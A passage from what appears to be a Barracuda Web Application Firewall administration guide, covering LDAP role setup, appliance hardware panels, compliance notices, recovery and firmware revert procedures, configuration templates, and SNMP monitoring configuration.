b. In the Admin Access Control window, enter the information for the authentication service and select the default role for users
who are authenticated with the service.
c. Click Add. The service then appears in the table in the External Authentication Services section.
Change the Default Role for External Users
When a default role is associated with the LDAP/RADIUS authentication service, all external users authenticated through the LDAP/RADIUS
database are assigned to that role. For example, consider the default role, certificate-manager, for the configured LDAP server. An external user
authenticated through that LDAP database is assigned certificate-manager role and can perform only certificate management tasks. The admin
user can change the default role assigned to a user if required.
To change the role assigned to a user:

2. In the External Authentication Services section, identify the desired user.
3. Click Edit next to the user. The Edit Administrator Account window appears.
4. Select a role for the user from the Role drop-down list.
5. Modify Password and Email Address if required and click Update.
Configuration example to restrict users from a group for Open LDAP Directory and Active Directory
Group filter configuration to restrict users from a group for Open LDAP Directory:
Bind DN: cn=administrator,cn=users,dc=example,dc=domain,dc=com

Bind Password: password12
LDAP Search Base: dc=example,dc=domain,dc=com
UID Attribute: uid
Group Filter: cn={groupname} or gidnumber={100}
Group Name Attribute: cn
Group Member UID Attribute: memberUid
Group filter configuration to restrict users from a group for Active Directory:
Bind DN: cn=administrator,cn=users,dc=example,dc=domain,dc=com

Bind Password: password12
LDAP Search Base: dc=example,dc=domain,dc=com

UID Attribute: sAMAccountName

Group Filter: cn={groupname}
Group Name Attribute: cn
Group Member UID Attribute: member

Barracuda Web Application Firewall Hardware Features
System hardware features include front and back panel controls, ports and LED indicators on the Barracuda Web Application Firewall.
Front Panel Features of Model 360 / 460
The following figure shows the front panel components of Model 360 and 460 described in Table 1.
Table 1
Diagram Location Description
1 On/Off button
2 Reset button
3 Power Indicator
4 Disk Activity
5 Management Network Activity
6 Indicates System Bypass Mode
7 Indicates a Failed Status of the System
8 LAN Port
9 WAN Port
Back Panel Features of Model 360 / 460
The following figure shows the back panel components described in Table 2.
Table 2
1 Unused USB Port
2 Unused USB Port
3 Unused Network Port
4 Unused USB Port
5 Unused USB Port
6 VGA Display (console)
7 Unused Printer Port
8 Serial Port
9 Mouse

10 Keyboard
11 Power Supply
If your system was shipped during or after January 2013, the Front Panel is as follows:
The components are described in Table 3.
Table 3
1 Disk Activity
2 Power Indicator
3 Reset button
4 On/Off button
5 LAN Port
6 WAN Port
The Back Panel is as follows: .
The components are described in Table 4.
Table 4
1 Unused USB Port
2 Unused USB Port
3 Management Port
5 DVI Port
6 Unused USB Port
7 Unused USB Port
8 Mouse
9 Keyboard
10 Power Supply

Front Panel Features of Model 660
The following figure shows the front panel components described in Table 5.
Table 5
1 On/Off button
2 Reset button
3 Power Indicator
4 Disk Activity
5 Unused LED
6 Indicates System Bypass Mode
7 Indicates a Failed Status of the System
8 WAN Port
9 LAN Port
Back Panel Features of Model 660
The following figure shows the back panel components described in Table 6.
Table 6
1 Management Port 1
2 Management Port 2
5 Serial Port
6 Unused USB Port
7 Unused USB Port
8 Mouse

9 Keyboard
10 Power Supply
Front Panel Features of Model 86x and 96x
The following figure shows the front panel components of the Model 86x and 96x described in Table 7.
Table 7
1 On/Off button
2 Reset button
3 Power Indicator
4 Disk Activity
5 Management Network Activity Port
7 Unused LED
8 Unused LED
In the Barracuda Web Application Firewall 861, 862, 961 and 962, when the unit is forced into a Bypass on Failure or Hard Bypass st
ate, the Bypass LED on the front panel will not be lit.
Back Panel Features of Model 86x and 96x - Ethernet Interface
The following figure shows the back panel components of Model 86x and 96x with ethernet interface described in Table 8.
Table 8
1 WAN Port

2 LAN Port
3 Management Port
7 Serial Port
8 and 9 Unused USB Port
10 Not Connected
11 Mouse
12 Keyboard
13 and 14 Redundant Power Supply
15 and 16 Power Indicator Lights
This displays:
Green light when the system is powered on and the power

supply is healthy.
Orange/Amber light = the power supply is degraded, such as, for
example, one of the two PSUs is not functioning. Pushing the
Reset button may solve
the problem; otherwise one of the PSUs should be replaced.
No light = the power supply is not working.
Back Panel Features of Model 86x and 96x - Fiber Interface
The following figure shows the back panel components of Model 86x and 96x with fiber interface described in Table 9.
Table 9
1 Fiber WAN Port
2 Fiber LAN Port
4 Management Port
7 Serial Port
8 and 9 Unused USB Port

10 Not Connected
11 Mouse
12 Keyboard
13 and 14 Redundant Power Supply
15 and 16 Power Indicator Lights
This displays:
Green light when the system is powered on and the power

supply is healthy.
Orange/Amber light = the power supply is degraded, such as, for
example, one of the two PSUs is not functioning. Pushing the
Reset button may solve
the problem; otherwise one of the PSUs should be replaced.
No light = the power supply is not working.
Hardware Compliance
This section contains compliance information for the Barracuda Web Application Firewall hardware.
Notice for the USA
Compliance Information Statement (Declaration of Conformity Procedure) DoC FCC Part 15: This device complies with part 15 of the FCC Rules.
Operation is subject to the following conditions:
1. This device may not cause harmful interference, and

2. This device must accept any interference received including interference that may cause undesired operation. If this equipment does
cause harmful interference to radio or television reception, which can be determined by turning the equipment off and on, the user in
encouraged to try one or more of the following measures:
Reorient or relocate the receiving antenna.

Increase the separation between the equipment and the receiver.
Plug the equipment into an outlet on a circuit different from that of the receiver.
Consult the dealer on an experienced radio/ television technician for help.
Notice for Canada
This apparatus compiles with the Class B limits for radio interference as specified in the Canadian Department of Communication Radio
Interference Regulations.
Notice for Europe (CE Mark)
This product is in conformity with the Council Directive 89/336/EEC, 92/31/EEC (EMC).

How to Clear Configuration on the Barracuda Web Application Firewall
To clear the existing configuration and restore the Barracuda Web Application Firewall to its initial configuration, use the Clear Configuration fea
ture available on the ADVANCED > System Configuration > Configuration Tools section. This feature clears all system configuration including
services, profiles, routes, interfaces etc., but the IP configuration settings on the BASIC > IP Configuration page remains intact.
It is recommended to take a back up of existing configuration before performing the Clear Configuration operation.

Rebooting the System in Recovery Mode
If your Barracuda Web Application Firewall experiences a serious issue that impacts its core functionality, you can use diagnostic and recovery
tools that are available at the reboot menu to return your system to an operational state.
Before you use the diagnostic and recovery tools, do the following:
Use the built-in troubleshooting tools on the ADVANCED > Troubleshooting page to help diagnose the problem.
Perform a system restore from the last known good backup file.
Contact Barracuda Networks Technical Support for additional troubleshooting tips.
As a last resort, you can reboot your Barracuda Web Application Firewall and run a memory test or perform a complete system recovery, as
described in this section.
To perform a system recovery or hardware test:
1. Connect a monitor and keyboard directly to your Barracuda Web Application Firewall.
2. Reboot the system by doing one of the following:
a. Click Restart on the BASIC > Administration page.
b. Press the Power button on the front panel to turn off the system, and then press the Power button again to turn on the system.
The Barracuda splash screen displays with the following three boot options:
Barracuda
Recovery
Hardware_Test
3. Use your keyboard to select the desired boot option, and press Enter.
You must select the boot option within three seconds of the splash screen appearing. If you do not select an option within three seconds,
the Barracuda Web Application Firewall defaults to starting up in the normal mode (first option).
For a description of each boot option, refer to Reboot Options.
To stop a hardware test, reboot your Barracuda Web Application Firewall by pressing Ctrl-Alt-Del.
Reboot Options
Reboot Options Description
Barracuda Starts the Barracuda Web Application Firewall in the normal (default)
mode. This option is automatically selected if no other option is
specified within the first three (3) seconds of the splash screen
appearing.
Recovery Displays the Recovery Console where you can select the following
options:
Barracuda Recovery – Repairs the file system on the

Full Barracuda Recovery – Restores the factory settings on
your Barracuda Web Application Firewall and clears out all
configuration information.
Enable remote administration – Initiates a connection to
Barracuda Central that allows Barracuda Networks Technical
Support to access the system. Another method for enabling this
troubleshooting connection is to click Establish Connection to
Barracuda Central on the ADVANCED >Troubleshooting pag
e.
Diagnostic memory test – Runs a diagnostic memory test from
the operating system. If problems are reported when running this
option, we recommend running the Hardware_Test option next.
Exit – Exits from the Recovery Console.
Hardware_Test Performs a thorough memory test that shows most memory related
errors within a two-hour time period. The memory test is performed
outside of the operating system and can take a long time to
complete. Reboot your Barracuda Web Application Firewall to stop
the hardware test.

Replacing a Failed System
Before you replace your Barracuda Web Application Firewall, use the tools provided on the ADVANCED > Troubleshooting page to try to
resolve the problem.
In the event that a Barracuda Web Application Firewall fails and you cannot resolve the issue, customers that have purchased the Instant
Replacement service can call Barracuda Networks Technical Support and arrange for a new unit to be shipped out within 24 hours.
After receiving the new system, ship the old Barracuda Web Application Firewall back to Barracuda Networks at the address below with an RMA
number marked clearly on the package. Barracuda Networks Technical Support can provide details on the best way to return the unit.
Barracuda Networks
3175 S. Winchester Blvd
Campbell, CA 95008
To set up the new Barracuda Web Application Firewall with the same configuration of your old failed system, restore the backup file
from the old system to the new system, and then manually configure the new system’s IP address information on the BASIC > IP
Configuration page. For information on restoring data, refer to Backing up and Restoring your System Configuration.

How to Revert the Firmware
If you observe unexpected issues after upgrading to the latest firmware version, you can revert to the previous version by following the steps
below:

2. In the Firmware Revert section, click Revert next to Previously Installed Version.
3. The “Warning: Due to numerous changes, performing this revert may be dangerous. Click OK if you are absolutely sure you
wish to proceed.” message appears. Click OK to confirm.
The system will restore previous version and configuration settings. All configuration changes made after upgrade will be lost.
If a series of upgrades were performed to install the latest firmware version and the latest version is causing unexpected issues, revert the
firmware to the factory installed version (because the previous version might be overridden), and then upgrade to the stable version that was
previously installed. After the stable version is installed successfully, upload the backup that was taken before starting the upgrade process.
Perform the following steps to revert to the factory installed version:

2. In the Firmware Revert section, click Revert next to Factory Installed Version.
3. The “Warning: Due to numerous changes, performing this revert may be dangerous. Click OK if you are absolutely sure you
wish to proceed.” message appears. Click OK to confirm.
Ensure you make a backup of your current configuration before proceeding with firmware update.
Never upgrade the firmware to a version older than the current firmware because it can cause unpredicted behavior in terms of
services and logs.

Reverting the Firmware in Clustered Units
The Barracuda Web Application Firewall supports Active-Active setup and Active-Standby setup. To revert the firmware to a previous version in
each setup, perform the steps below:
To Revert the Firmware in Active-Active Setup

To Revert the Firmware in Active-Standby Setup
To Revert the Firmware in Active-Active Setup
In Active-Active configuration, different Vsites are active on each unit and serving requests for the services configured under each Vsite. Perform
the following steps to revert the firmware:
1. From the ADVANCED > High Availability page of the Barracuda Web Application Firewall 1, set Failback Mode to Manual. This will
enable the Failover button on both the units.
2. From the ADVANCED > High Availability page of the Barracuda Web Application Firewall 2, click the Failover button in the Clustered
Systems section to move all active Vsite(s) from this unit to the Peer unit (i.e. Barracuda Web Application Firewall 1).
3. Ensure the Barracuda Web Application Firewall 1 is Active and serving requests.
4. From the ADVANCED > Firmware Update of the Barracuda Web Application Firewall 2, click Revert next to Previously Installed
Version in the Firmware Revert section. This will take a few minutes and reverts the Barracuda Web Application Firewall 2 to the prior
firmware version, and reboots the unit.
5. From the ADVANCED > High Availability page of the Barracuda Web Application Firewall 1, click the Failover button in the Clustered
Systems section to move all active Vsite(s) from this unit to the Peer unit (i.e. Barracuda Web Application Firewall 2).
6. Ensure the Barracuda Web Application Firewall 2 is Active and serving requests.
7. From the ADVANCED > Firmware Update of the Barracuda Web Application Firewall 1, click Revert next to Previously Installed
Version in the Firmware Revert section. This takes a few minutes and reverts the Barracuda Web Application Firewall 1 to the prior
firmware version, and reboots the unit.
8. From the ADVANCED > High Availability page of the Barracuda Web Application Firewall 1, click the Failback button in the Clustered
Systems section. This resumes Vsite(s) that were active on this unit before failover.
To Revert the Firmware in Active-Standby Setup
In Active-Standby configuration, all configured Vsites are active on one unit and the other unit is ready to handle traffic.Perform step 3 to step 8 to
revert the firmware in this setup.

Templates
In this section:
Templates Version 1
Templates Version 2
Factory Shipped Templates

Templates Version 1
The Templates Version 1 article is applicable to the Barracuda Web Application Firewall Version 7.8 and older versions.
In this article:
Saving Objects Using a Template

Importing Objects
Add
Modify
Points to Remember
A template is a collection of configuration components arranged serially in a file. Templates are used to save/import backups of object types like
Services, URL profiles, URL Policies, etc., so configuration can be exported to other Barracuda Web Application Firewall boxes in the following
scenarios:
Migrate changes from the Barracuda Web Application Firewall in front of QA servers to the Barracuda Web Application Firewall in front of
production servers.
Import templates provided by Barracuda Web Application Firewall experts to refine policies on standard applications.
Patch existing policies. For example, a new OWA template might need an additional Allow Method for a Global ACL. Or a new pattern,
like sql-tautology-conditions, might require a refinement to an existing pattern-group. An existing service might require a new keep-alive
timeout, already tested and found optimal in the QA network.
Take a backup of an application configuration.
Saving Objects Using a Template
You can export objects from your configuration by creating a template which includes the objects from the existing configuration, which is saved
on your file system.
Use ADVANCED > Templates and select Generate Template as the Template Operation. Select a suitable Template Type and specify the Nam
e and Description for the template. Use Exportable Objects to select the parent nodes and child nodes to export using check boxes. Generate
to see your template displayed under Available Templates.
Importing Objects
A saved template can be imported on the configuration tree using Add or Modify. In both cases key parameters are compared to existing objects
before they are updated:
Use the Add operation if the key parameters of the imported object do not match an existing object. Duplicate configurations cannot be
added. Added objects are added to the selected parent nodes or child nodes of the configuration tree with the saved values.
Use the Modify operation when the key parameters match an existing entry. If there is a match, the current values are blindly replaced
with values from the imported object. If no object has matching key parameters, nothing is modified. This is considered an error.
When a Service template is imported, you can specify an IP address and port for the service created from the template during the Add
operation. Similarly, for a Modify operation, the template modifies an existing service on the box with the specified IP address and port,
which makes sense if the source template is generated from a single service. This allows you to incrementally patch a service with
template values.
Object Type Key Parameters
Service IP, Port
Server IP, Port
URL Policies Domain, URL, Header, Header Weight
URL Profile URL, Extended Match, Extended Match
Allow/Deny Rules URL, Host Match, Extended Match, Extended Match Sequence
Request Rewrite Rules Request Rewrite Sequence
Response Rewrite Rules Response Rewrite Sequence
Response Body Rewrite Rules Response Body Rewrite Sequence
Security Policy Web Firewall Policy Name
Global ACL URL Match, Extended Match, Extended Match Sequence
Custom Parameter Class Custom Parameter Class Name

Attack Types Attack Type Name
Identity Theft Patterns Identity Theft Pattern Name
Input Types Input Type Name
Add
The Add operation adds the imported object to the selected parent nodes or child nodes, using values from the saved template. An add of an
object with duplicate Key Parameters is not allowed. For example, an add of an object of type Server will not succeed if a Server object with a
matching Server IP and Server Port already exists. The Add is disallowed.
To add a new template use ADVANCED > Templates and select Import Template as the Template Operation. Select a suitable Template Type
and select the Add Operation. Select parent nodes and child nodes you want to add to and click Add. Remove deletes a selection. Browse to
locate the Template file path and Import the template file to the selected destination box.
Modify
The Modify operation modifies the existing configuration of selected parent nodes or child nodes by using the values from the saved template.
Modify only works if an object with matching Key Parameters already exists. If no matching object exists, the Modify is disallowed.
To modify an existing template, use ADVANCED > Templates to select Import Template as the Template Operation. Select a suitable Template
Type, then specify the Modify Operation. Select the parent nodes and child nodes where you want to import the modified templates and click Ad
d. Remove deletes a selection. Browse to locate the Template file path and Import to patch the existing template.
Points to Remember
1. When importing an SSL based service, note that the service is imported with SSL Status set to On for the front-end and set to Off for
the back-end. You need to create relevant certificates, bind them, and set SSL Status to On to complete the service creation.
2. A Modify operation blindly replaces any value of the object's parameters with the values found in the template. However, for the
parameters which have multi-valued inputs (for example, Allowed Methods in SECURITY POLICIES > URL Protection), the modify
operation results in a union of the existing values and the template values.
3. Template generation does not recursively copy the objects. If you have a policy bound to a service, make sure the policy exists on the
destination box before importing the service on the destination box. The most common cases of objects like these within a service are:
Policy, Response Pages, Certificates, Parameter Classes, Rate Control pool, Trusted Hosts.

Templates Version 2
The Templates Version 2 article is applicable to the Barracuda Web Application Firewall Version 7.9 and above.
Managing application security policies over time and across multiple units manually can become cumbersome and error prone. Templates
provide the ability to define baseline configuration settings that can be used as a model across policy revisions or across units. For example, by
using templates, you can quickly create security policies designed to secure a specific application (e.g. SharePoint), web-portal, platform,
framework or their constituents. Templates increase productivity, reduce manual errors and deployment time and ensure policy compliance.
A template is a reusable configuration file. It represents part of your Barracuda Web Application Firewall’s existing configuration. The template
framework provides a wizard-driven interface for creating templates from existing objects or applying created templates to an existing
configuration. The configuration components can include a particular object or group of objects. Templates can be created to re-use one or more
configuration components at a later time on the same unit or on another Barracuda Web Application Firewall. You can re-use a template by
downloading, importing and applying the template to a unit.Templates allow you to:
Migrate changes from the QA environment to the production environment.

Import changes provided by the Barracuda Web Application Firewall expert community to refine policies on standard applications.
Patch existing policies. For example, a new OWA template might need an additional “Allow Method” for a Global ACL, or a new pattern,
like sql-tautology-conditions, might require a refinement to an existing pattern-group. An existing service might require a new keep-alive
timeout, already tested and found optimal in the QA network.
Take a backup of an application configuration.
Templates can also be used to:
Create a new configuration on the Barracuda Web Application Firewall from a single unified web interface. For example, a new complete
Security Policy can be created by modifying various security parameters in one shot.
Replicate an object on the same or another Barracuda Web Application Firewall.
You can create three types of templates:
Full - A Full template represents a configuration object (Refer to Object Type and Dependency Objects). You can create a new object
with the desired settings using the Full template option. For example, a Service template includes all (selected) URL Profiles, Parameter
Profiles, Rule Groups, URL ACLs, etc., associated with the service. Typically, a full template includes all relevant information pertaining
to an object. You can edit the values of parameters, if required, when creating a template.
Partial - A Partial template represents part of an object configuration (refer to Object Type and Dependency Objects). With a Partial
template, you can update the configuration of existing objects. Applying a partial template can be considered analogous to performing a
Bulk Edit operation. For example, to update the Session Timeout value for multiple service, you can create a template with only the Ses
sion Timeout value modified. When this template is applied to the service(s), it only updates the Session Timeout value, keeping other
parameter values intact.
Composite - A Composite template is a group of full templates of the same type of objects (Refer to Object Type and Dependency
Objects). You can use a Composite template to migrate multiple objects of the same type from the QA environment to the production
environment. For example, to copy URL profiles of an application to another application, you can create a template with selected URL
profiles and apply it to an application requiring configuration of these URL profiles. This creates URL profiles on the WEBSITES >
Website Profiles page for the selected application.
You cannot edit the values of parameters when creating a Composite template. If you wish to edit the values of certain parameters,
download the template, open the XML file and edit the values before importing it.
In this section:
Creating a Template
Editing Templates
Using Templates
Importing Templates
Steps to Create and Use a Template
Points to Remember
Object Type and Dependency Objects
Creating a Template
To create a template, navigate to the ADVANCED > Templates, Template Repository section and click Create Template. Select a suitable
Template Type, Template Format and specify which existing object you want to base the template on. You can create template for a particular
object or object type. All configuration relevant to the chosen object gets loaded on the web interface, and you can modify the values before
creating the template. Sub-objects can be included/excluded from the template at this time.
Editing Templates

You can edit and modify the configuration settings of a template by selecting the Edit option under the Actions column on the ADVANCED >
Templates page. The following operations can be performed using the Edit option:
Values can be modified (with an exception of few critical parameters, example: Service Type).
Sub-objects can be excluded from the template.
Associated objects like Certificates/Trusted Host Groups can be changed.
Using Templates
You can apply the template by selecting the Use operation in the Available Templates section. The Use operation allows you to apply a
template to the selected destination. The Use template wizard displays different key parameters for each object. The wizard layout is as follows:
Destination: Select a destination to apply the template. For example, if you are applying a URL Profile template, the destination option
would be a Service, because a URL Profile logically exists within a Service.
Provide values for key parameters for each object and sub-objects.
Review the summary details and click Apply to apply the template.
With the Use template wizard, you can use the same template and create different objects by providing unique values to key parameters.
Importing Templates
A saved template can be imported on to the same Barracuda Web Application Firewall or to another Barracuda Web Application Firewall by using
the Import Template operation. This operation does not apply the configuration contained in the template, but only copies the template to the file
system.
Steps to Create and Use a Template
To create and use a template, perform the following steps:
1. Go to the ADVANCED > Templates page, Template Repository section and click Create Template.
2. On the Create Template window:
a. Enter a name for the template, select the template format, select the object type.
b. Edit the values (if required), and click Create.
c. If the template has any dependencies, a pop-up window displays the dependency objects.
Ensure the dependency objects are configured on the destination system before the template is imported and used.
3. Once the template is created, it gets displayed in the Template Repository section.
4. You can edit the template (if required) by clicking Edit under Actions.
5. To use the template on the same unit, click Use under Actions. Select the destination and other subsequent settings based on the
object type. Review your settings under Summary, and click Apply.
Ensure the dependency objects (if any) are associated with the template before you Apply the template
6. To use the template on another Barracuda Web Application Firewall, do the following:
a. Download the template to your local machine by clicking Download under Actions. The template downloads in ZIP format with
the following two (2) files:
i. An XML file containing the relevant configuration.
ii. An HDR file that can be recognized by the Barracuda Web Application Firewall and used for internal purposes.
b. Log into the other Barracuda Web Application Firewall where you want to import and use the template, and do the following:
i. Go to the ADVANCED > Templates page, Template Repository section and click Import Template.
ii. In the Import Template window, enter a name for the template and click Browse to select the downloaded template.
Click Import Template.
iii. Once the template successfully imports, it displays in the Template Repository section.
iv. Now, click Use under Actions. Select the destination and other subsequent settings based on the object type. Review
your settings under Summary, and click Apply.
Ensure the dependency objects (if any) are associated with the template before you Apply the template
Points to Remember
While template generation includes configuration data of the sub-objects, it does not include the configuration of external entities/dependencies
that the object or sub-object refers to. For example, if you have a policy associated to a service, make sure the policy exists on the destination
unit before importing the service. The most common cases of objects like these within a service are: Security Policy, Response Pages,
Certificates, Parameter Classes, Rate Control pool, Trusted Hosts, etc.
Object Type and Dependency Objects

A template only contains a reference to dependency objects. This means that when the template is downloaded and imported on another
Barracuda Web Application Firewall, the dependencies are not imported. In this case, all dependencies appear as key parameters in the Use
Template wizard and so appropriate dependencies can be referenced before applying the template. For example, when importing a template
HTTPS service, the certificate is not imported. While applying the template, the certificate appears as a key parameter in the wizard and an
existing certificate on the unit can be associated with the service.
The following table lists each object with its dependency objects:
Object Type Objects on which the Object Type is dependent on
Service Rate Control Pool
Authentication Service
Trusted Hosts Group
Session Identifiers
Web Firewall Policy
Certificate
Server Client Certificate
URL Profile Custom Blocked Attack Types
Parameter Profile Custom Parameter Class
Rule Group Server Client Certificate
URL Policy Rate Control Pool
Secure Browsing Policy Credential Server
URL ACL Response Page
Header ACL Custom Blocked Attack Types
Security Policy Custom Blocked Attack Types
Global ACL Response Page
Data Theft Protection Custom Identity Theft Type
Custom Parameter Class Custom Blocked Attack Types
Custom Input Type Validation
Rule Group
JSON Profile JSON Security Policy
DDoS Policy
Authorization Policy
URL Encryption Rule
URL Translation
Adaptive Profiling Rule
Request Rewrite Policy
Response Rewrite Policy
Response Body Rewrite Policy
Allow/Deny Client
SSL CRL
Trusted Host Group
Trusted Host

LDAP Authentication Service
RADIUS Authentication Service
SiteMinder Authentication Service
Kerberos Authentication Service
RSA SecurID Authentication Service
JSON Security Policy
Rate Control Pool
Preferred Client
Response Page
Credential Server
Syslog Server
Custom Identity Theft Protection
Identity Theft Pattern
Custom Attack Type
Attack Type Pattern
Custom Input Type
Input Type Pattern
Static Route

Factory Shipped Templates

The Barracuda Web Application Firewall provides a predefined template “WordPress” to protect the web applications hosted on the WordPress
CDN framework. The WordPress template consists of a Service object, a Security Policy and Trusted Hosts, and is preloaded with all the policy
configuration required for WordPress. When using the WordPress template, the user is required to specify the service details (IP address/port),
server details (IP address/port), and trusted host IP address/addresses (if any). The rest of the configuration is added automatically. However,
you can modify other values according to your requirements and use the template.
The WordPress template is available on the ADVANCED > Templates page, in the Factory Shipped Templates section. You can use the
WordPress template multiple times and create different applications on the Barracuda Web Application Firewall. For information on how to use
the template, see Using Templates in the Templates Version 2 article.
The WordPress template is a predefined template, it cannot be downloaded, edited, or deleted.

Simple Network Management Protocol (SNMP)

Simple Network Management Protocol (SNMP) is an internet standard protocol that provides a method of managing network devices such as
servers, workstations, routers, hubs and bridges from a centrally located host running network management software. The SNMP versions
supported by the Barracuda Web Application Firewall are: SNMP v2c, and SNMP v3.
In this section:
SNMP Configuration on the Barracuda Web Application Firewall

SNMP GET Commands

SNMP Configuration
Simple Network Management Protocol (SNMP) is an internet standard protocol that provides a method of managing network devices such as
servers, workstations, routers, hubs and bridges from a centrally located host running network management software. The SNMP versions
supported by the Barracuda Web Application Firewall are: SNMP v2c, and SNMP v3.
A standard SNMP implementation includes three key components:
SNMP Manager – software which runs on a management system and makes SNMP queries to a device. This managing system is called
as Network Management System (NMS).
SNMP Agent – software which runs on the managed device that maintains data for the device and responds to the SNMP
queries/requests.
Management Information Base (MIB) – a virtual repository for network management information that consist a set of managed objects.
These objects are organized in a hierarchical tree structure. Each object within the MIB tree has a unique object ID (OID), written as a
series of integers.
The SNMP agent contains MIB variables, and the values of these variables can be requested by the SNMP manager through Get operations.
In this article:

Configuring the SNMP Agent
Configuring Client Access (SNMP Manager)
Configuring SNMP Traps
Downloading SNMP MIB files
SNMP Table and Statistics
Using SNMP
Collecting performance data
Collecting Data on Memory Use
Collecting Data on System Status
Collecting Data on System Configuration
Collecting Data on HTTP Requests for a Service
Collecting Data on SSL Transactions
Practical use of SNMP

Before the Barracuda Web Application Firewall can be managed remotely by the system running SNMP Manager, perform the following tasks:
Configure the SNMP Agent

Download the MIB files to your remote manager system. Refer to the Downloading SNMP MIB Files section below.
Once the above tasks are performed, you can execute the SNMP commands on the network management system to manage the Barracuda Web
Configuring the SNMP Agent
To configure the SNMP agent on the Barracuda Web Application Firewall, perform the following tasks:
Configure Client Access to the SNMP Agent

Configure the Barracuda Web Application Firewall to allow access to the SNMP agent from an SNMP manager system.

Configure SNMP Traps

Specify the destination SNMP manager system for SNMP traps.
Configuring Client Access (SNMP Manager)
The system running the SNMP manager software for remotely monitoring the Barracuda Web Application Firewall is referred as an SNMP client.
The Barracuda Web Application Firewall supports SNMP version v2c and v3. Version v2c and v3 allow SNMP access only from the IP
address(es) configured in the Allowed SNMP IP/Range field, and version v3 restricts SNMP access to only password-authenticated users.
To allow client access to the SNMP agent
1. Go to the BASIC > Administration page.

2. In the SNMP Manager section, specify values for the following:
a. Enable SNMP Agent – Set to Yes to allow the Barracuda Web Application Firewall to accept and respond to the SNMP queries.
b. SNMP Version – Select the SNMP version (v2c or v3) to be used.
i. v2c - Allows SNMP access only to the IP address(es) configured in the Allowed SNMP IP/Range field.
1. SNMP Community String - Specify the community string, or password for authenticating SNMP access.
ii. v3 – Encrypts the SNMP traffic and limits access to only password-authenticated users.
1. User – Enter a name to be used for authenticating SNMP v3 queries.
2. Password – Enter the password to be used for the specified user.
3. Authentication Method – Select the authentication method (MD5 or SHA) supported by your SNMP monitor.
Note: SHA is more secure method.
4. Encryption Method – Select the encryption method (DES or AES) supported by your SNMP monitor. Note:
AES is the more secure method.
c. Allowed SNMP IP/Range – Specify the IP address(es) for which SNMP access needs to be allowed to connect to the
Configuring SNMP Traps
Traps are unsolicited notification messages generated by the Barracuda Web Application Firewall and sent to the SNMP manager when
significant events occur on the Barracuda Web Application Firewall. These notification messages are sent only to the IP address(es) configured in
the Trap Receivers section on the BASIC > Administration page.
The Barracuda Web Application Firewall can generate SNMP alerts for the following events:
Alert tempCritical System temperature exceeded its threshold.

{ bwstraps 3 }
firmwareStorageHigh Firmware storage exceeds 85%.

{ bwstraps 18 }
logStorageHigh Log storage exceeds 85%."

{ bwstraps 19 }
raidDegrading One of the RAID arrays is degrading.
energizeUpdateExpire Energize Updates subscription is about to

expire.
firmwareUpdateAvailable New Firmware Update is available.
attackDefinitionUpdateAvailable New Attack Definition is available.
Critical tempHigh System temperature is higher than 80C.
systemFailOver System has failed over.
Warning switchingToMaintMode System is in failed state.
Error fanDead One of the System fans is dead."
dataPortLinkDown Data link is down.
serverDown Back-end Server is down.
peerDown Peer is down.
Information dataPortLinkUp Peer is up.

serverUp Back-end Server is up.
peerUp Peer is up.
switchingToBypassMode Switching to bypass mode.
Downloading SNMP MIB files
A MIB file contains a set of definitions for each managed object. It defines the data type, accessibility, description, and the current validity of the
object. The Barracuda Web Application Firewall provides two MIB files that can be downloaded and imported to your SNMP manager.
To download the MIB files:
1. Go to the BASIC > Administration page, and click Help.

2. Scroll down to the SNMP Manager section, click the The Barracuda Web Application Firewall MIB link and save the Barracuda-BWS-
MIBS.tar file.
SNMP Table and Statistics
A SNMP Table is an ordered collection of objects. Each row contains one or more objects and each object in a table is identified using the table
index. The Barracuda Web Application Firewall contains 50 object identifiers in the SNMP table.
The following table displays the statistics polled for the SNMP tables:
Stats Name Description OID Example
bwsHttpProxyStatsTable Table to show statistics for the 1.3.6.1.4.1.20632.8.50.1 snmpwalk -v 2c -c public

HTTP services configured on the 10.11.31.231
Barracuda Web Application .1.3.6.1.4.1.20632.8.50.1
Firewall.
bwsSslProxyStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.2 snmpwalk -v 2c -c public

HTTPS services configured on 10.11.31.231
the Barracuda Web Application .1.3.6.1.4.1.20632.8.50.2
Firewall.
bwsCompressionStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.3 snmpwalk -v 2c -c public

HTTP compression feature if its 10.11.31.231
enabled for a given service. .1.3.6.1.4.1.20632.8.50.3
bwsCacheStateTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.4 snmpwalk -v 2c -c public

HTTP caching feature if its 10.11.31.231
enabled for a given service. .1.3.6.1.4.1.20632.8.50.4
bwsHttpSrvrStatsTable Table to show statistics for the 1.3.6.1.4.1.20632.8.50.5 snmpwalk -v 2c -c public

HTTP server configured for a 10.11.31.231
Virtual IP address. .1.3.6.1.4.1.20632.8.50.5
bwsSslSrvrStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.6 snmpwalk -v 2c -c public

HTTPS server configured for a 10.11.31.231
Virtual IP address. .1.3.6.1.4.1.20632.8.50.6
bwsIpsLrnSrvcStatsTable Table to show profiles created by .1.3.6.1.4.1.20632.8.50.8 snmpwalk -v 2c -c public

adaptive profiling and learning. 10.11.31.231
Also, profiles that are updated by .1.3.6.1.4.1.20632.8.50.8
responses.
bwsIpsReqLimitStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.9 snmpwalk -v 2c -c public

Request Limits feature for a 10.11.31.231
given security policy. .1.3.6.1.4.1.20632.8.50.9
bwsIpsUrlNormStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.10 snmpwalk -v 2c -c public

URL Normalization feature for a 10.11.31.231
a given security policy. .1.3.6.1.4.1.20632.8.50.10
bwsIpsCookieSecStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.11 snmpwalk -v 2c -c public

Cookie Security feature for a 10.11.31.231
given security policy. .1.3.6.1.4.1.20632.8.50.11

bwsIpsUrlAclStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.12 snmpwalk -v 2c -c public

URL ACL feature for a given 10.11.31.231
service. .1.3.6.1.4.1.20632.8.50.12
bwsIpsHdrAclStatsTable Table to show statistics for the .1.3.6.1.4.1.20632.8.50.13 snmpwalk -v 2c -c public

header ACL feature for a given 10.11.31.231
service. .1.3.6.1.4.1.20632.8.50.13
bwsIpsWebAddrTransStatsTable Table to show web address .1.3.6.1.4.1.20632.8.50.14 snmpwalk -v 2c -c public

translation feature for a given 10.11.31.231
service. .1.3.6.1.4.1.20632.8.50.14
